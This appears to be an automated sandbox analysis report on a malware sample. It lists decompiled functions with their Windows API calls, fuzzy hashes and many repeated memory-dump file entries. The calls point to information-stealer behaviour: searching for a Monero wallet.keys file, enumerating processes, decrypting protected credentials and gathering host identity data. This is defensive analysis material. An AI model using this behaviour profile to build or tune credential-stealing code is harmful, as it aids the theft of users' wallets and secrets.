Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 95ac93f2e8504f662c71d645a6b33fbe6f17d0515c93ce7a08cbb728a2fa5db0
Instruction ID: c80932f2eeec6f9c664567488cd33bff6f008d0ebf940a5d9ba1afe245265506
Opcode Fuzzy Hash: 95ac93f2e8504f662c71d645a6b33fbe6f17d0515c93ce7a08cbb728a2fa5db0
Instruction Fuzzy Hash: AC414E71940218ABDB24EF94DC99BEEBB74FF44701F2041D9E90962281DB386F85DFA1

Function 00F3E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00F50D73), ref: 00F3E4A2
StrCmpCA.SHLWAPI(?,00F514F8), ref: 00F3E4F2
StrCmpCA.SHLWAPI(?,00F514FC), ref: 00F3E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00F3EBDF

Strings

\*.*, xrefs: 00F3E44D

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: bfd7905f898663d2233af33aa99e57a320743530d6d834e16c90efbaa8456101
Instruction ID: 9665031c1d4c07fb43c26172e14efa8b8d91e18411a9ab4a3235dcf5ad10d0aa
Opcode Fuzzy Hash: bfd7905f898663d2233af33aa99e57a320743530d6d834e16c90efbaa8456101
Instruction Fuzzy Hash: A81236729501189BEB18FB70DC96EED7738AF54300F4045A8B90A961D1EF386F49EF92

Function 00F49600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00F4961E
Process32First.KERNEL32(00F50ACA,00000128), ref: 00F49632
Process32Next.KERNEL32(00F50ACA,00000128), ref: 00F49647
StrCmpCA.SHLWAPI(?,00000000), ref: 00F4965C
CloseHandle.KERNEL32(00F50ACA), ref: 00F4967A

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 413004a8d7c9377e17ced84f13ea8b9404c5156cada728ecbd5d3856ddf310a0
Instruction ID: 6af722a65ad988369bc3ee70a143753a2d05c8474ab071a2584d50e07e24991c
Opcode Fuzzy Hash: 413004a8d7c9377e17ced84f13ea8b9404c5156cada728ecbd5d3856ddf310a0
Instruction Fuzzy Hash: 5F011E75A04208EBCB24DFA5D958BEEBBF8EF48311F144198A90697340D7759B80DF50

Function 00F48680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00F505B7), ref: 00F486CA
Process32First.KERNEL32(?,00000128), ref: 00F486DE
Process32Next.KERNEL32(?,00000128), ref: 00F486F3

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

CloseHandle.KERNEL32(?), ref: 00F48761

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: b8c5af497d73a9e6ac65264185460060ddffb86ccc34d8a9947adc02bb5baea9
Instruction ID: 4651d6c43cb61209c24bd88ca5f5851c8493222a998252cdd722e7b7a013abc5
Opcode Fuzzy Hash: b8c5af497d73a9e6ac65264185460060ddffb86ccc34d8a9947adc02bb5baea9
Instruction Fuzzy Hash: 00316B71941218ABDB24DF50DC51FEEBB78EF44700F1041A9E90AA2290EF346A85DFA1

Function 00F47A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0078EFD8,00000000,?,00F50E10,00000000,?,00000000,00000000), ref: 00F47A63
RtlAllocateHeap.NTDLL(00000000), ref: 00F47A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0078EFD8,00000000,?,00F50E10,00000000,?,00000000,00000000,?), ref: 00F47A7D
wsprintfA.USER32 ref: 00F47AB7

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 7afe14e59f888dce89ecea68968bf455f89122db0ff6bf0bf34a48bc5a5945a9
Instruction ID: 85d2ac70b2cb860830738f68d0614ae636c06ab1b73a3df659675c05e833278a
Opcode Fuzzy Hash: 7afe14e59f888dce89ecea68968bf455f89122db0ff6bf0bf34a48bc5a5945a9
Instruction Fuzzy Hash: 9D1182B1945218DBDB249B54DC49F59BB78FB44721F1043A5F916932C0C7745A40CF51

Function 00F39B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00F39B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00F39BA3
LocalFree.KERNEL32(?), ref: 00F39BD3

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 32eef0257e5e4d454edf983fdd88fd24de96f1467e18bd05aa631c9c1dbe197f
Instruction ID: c4e48dfef80adddb674135fdf2f06af51fdbe4873ca128ac379ae9461b5abe2f
Opcode Fuzzy Hash: 32eef0257e5e4d454edf983fdd88fd24de96f1467e18bd05aa631c9c1dbe197f
Instruction Fuzzy Hash: F611CCB8A00209DFDB04DF94D985AAEB7B9FF88300F144568E91597354D770AE50CF61

Function 00F478E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47910
RtlAllocateHeap.NTDLL(00000000), ref: 00F47917
GetComputerNameA.KERNEL32(?,00000104), ref: 00F4792F

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 05359fb6f43852808299fb611364aa49cc3cfd1e103c51ec748f5bc2745183dd
Instruction ID: c87990cb61738254a622ad38e82ce57041ad3e44a4ea1e2991cb7dc9d1dbfaba
Opcode Fuzzy Hash: 05359fb6f43852808299fb611364aa49cc3cfd1e103c51ec748f5bc2745183dd
Instruction Fuzzy Hash: 460186B1A04304EBC714DF95D945BAFBBB8FB04B21F104269FA55E3380D77459448BA1

Function 00F47850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F311B7), ref: 00F47880
RtlAllocateHeap.NTDLL(00000000), ref: 00F47887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F4789F

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 455a73807c99b40bb987a32f1e514b1d475d764d58cf5ab84946feba9cc0ad6a
Instruction ID: 328fcfd6de13354d9af044e80c83ba91e37495ee299f32afb66d621ac51eabfd
Opcode Fuzzy Hash: 455a73807c99b40bb987a32f1e514b1d475d764d58cf5ab84946feba9cc0ad6a
Instruction Fuzzy Hash: 74F04FB1944608AFC714DF98D94ABAEFBB8FB04711F10026AFA15A3780C77555448BA1

Function 00F31160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00F3116A
ExitProcess.KERNEL32 ref: 00F3117E

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
